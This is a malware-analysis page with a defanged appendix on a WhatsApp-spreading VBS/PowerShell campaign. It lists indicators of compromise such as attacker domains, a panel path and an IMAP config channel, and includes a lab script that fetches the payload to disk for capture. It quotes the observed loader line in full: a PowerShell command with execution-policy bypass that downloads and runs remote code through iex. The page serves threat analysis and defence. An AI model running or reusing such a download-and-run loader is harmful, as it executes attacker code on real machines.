Loading...
You are here:  Home  >  Malware and Behavior Analysis  >  Current Article

WhatsApp_VBS_PowerShell

By   /  October 13, 2025  /  Comments Off on WhatsApp_VBS_PowerShell

    Print       Email

Appendix B — PowerShell Snippets (Defanged)

Observed Malicious Loader Command (Do NOT Execute)
—————————————————————-
powershell.exe -ep bypass “[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString(‘https://miportuarios[.]com/sisti/api.ps1’))”

IMAP Bootstrap (Mailbox as Config Channel)
—————————————————————-
# Opens TLS IMAP to imap.terra.com.br:993, logs in, searches subject “data”, fetches latest body.
# Shown here for analysis context only; do NOT run in production.
# (The original script uses TcpClient + SslStream and raw IMAP commands: LOGIN/SELECT/SEARCH/FETCH.)

Related Backend Endpoints (Same Infrastructure)
—————————————————————-
miportuarios[.]com/sisti/api.php
miportuarios[.]com/sisti/log.php
miportuarios[.]com/sisti/config.php
miportuarios[.]com/sisti/contacts.php

WhatsApp Automation Indicators (Related PS sample)
—————————————————————-
– Downloads WPPConnect JS from: github[.]com/wppconnect-team/wa-js/…/wppconnect-wa.js
– Copies Chrome profile to: C:\temp\ChromeWpp
– Drops ChromeDriver to: C:\temp\chromedriver.exe
– Interacts with: https://web.whatsapp[.]com/

Lab‑Only, Capture‑Only Retrieval Harness (Safe Alternative)
—————————————————————-
# Purpose: capture bytes without execution; include PT‑BR headers and cookie seeding via /data.php.
# Replace OUTFILE as needed. Do NOT include this in automated allowlists.

$ErrorActionPreference = ‘Stop’
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$h = @{
‘User-Agent’ = ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0’
‘Accept’ = ‘*/*’
‘Accept-Language’ = ‘pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7’
}
$s = New-Object Microsoft.PowerShell.Commands.WebRequestSession

# Seed cookie (fallback path from the VBS)
Invoke-WebRequest ‘https://lefthandsuperstructures[.]com/data.php’ -Headers $h -WebSession $s -UseBasicParsing | Out-Null

# Fetch gated PS1 (no IEX; write to disk)
$out = ‘C:\Temp\api.ps1’
Invoke-WebRequest ‘https://miportuarios[.]com/sisti/api.ps1’ `
-Headers ($h + @{ ‘Referer’=’https://lefthandsuperstructures[.]com/data.php’ }) `
-WebSession $s -UseBasicParsing -MaximumRedirection 10 `
-OutFile $out -Verbose

Get-Item $out | Select FullName,Length,LastWriteTime
Get-FileHash $out -Algorithm SHA256

—————————————————————-
IMAP: imap.terra.com.br:993
Fallback: lefthandsuperstructures[.]com, clhttradinglimited[.]com, mazdafinancialsevrices[.]com,
ricardasphotography[.]com, jornalistaaurelianoborgesmidia[.]com, cursosgratiss[.]com[.]br,
intelligentopennetworkingawards[.]com, vinhomeshungyentheempires[.]com, wbdiamonds[.]com,
pastebin[.]com/raw/SmCz4cp8
Panel: miportuarios[.]com/sisti/{api.php,config.php,log.php,contacts.php}
Other: api.ipify[.]org, cld[.]pt/dl/…/Orcamento…zip

    Print       Email
  • RSS feed: The Hacker News The Hacker News

    • A Single Malicious Webpage Let Researchers Hijack Meta Muse and Access Private Chats November 21, 2026
      A malicious webpage could extract a Meta Muse user's private conversations and stored memories from the assistant without triggering any approval prompt, researchers have shown. The same attack could be extended to reach the credentials Muse stores for the user's connected accounts. The work was a laboratory demonstration, not an attack on real users, and […]
    • GnuPG Warns Critical GPGME Flaw Could Expose App Data via Malicious OpenPGP Keys November 21, 2026
      A malicious OpenPGP key with an unusually long user ID can trigger a critical memory bug in GPGME, the standard library that programs use to work with GnuPG. The GnuPG project warned yesterday that the flaw could be used to steal data from affected applications and has released fixed versions. The bug, tracked as CVE-2026-129975, […]
    • Attackers' AI Agents Found a Zero-Day in Medical-Imaging Software and Gained Root Access November 21, 2026
      Suspected China-linked hackers used autonomous AI agents to find a previously unknown flaw in MONAI Label, an open-source medical imaging server, and gain root access to a university server, Amazon Threat Intelligence said this week. The flaw allows an attacker with no account to write files outside the server's storage folder, and it affects MONAI […]
    • Signal Blocks AI Agents From Reading Private Chats via Screenshots on Android and iOS November 21, 2026
      Signal has announced that it will restrict screenshots by default to stop artificial intelligence (AI) agents from reading private chats on Android and iOS devices, but conceded that the protection is "incomplete." The feature applies to agentic systems built into iOS 27 and on Android versions where the encrypted messaging platform can detect an AI […]
    • Hackers Exploit Critical VMware, Cisco, and Apache Flaws as Espionage Attacks Emerge November 21, 2026
      The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added four flaws impacting Apache Roller, Cisco Expressway, SAP NetWeaver, and Broadcom VMware vCenter to its Known Exploited Vulnerabilities (KEV), citing evidence of active exploitation. The vulnerabilities are listed below - CVE-2026-129448 (CVSS score: 9.8) - A deserialization of untrusted data vulnerability in

You might also like...

phishing-kit

Read More →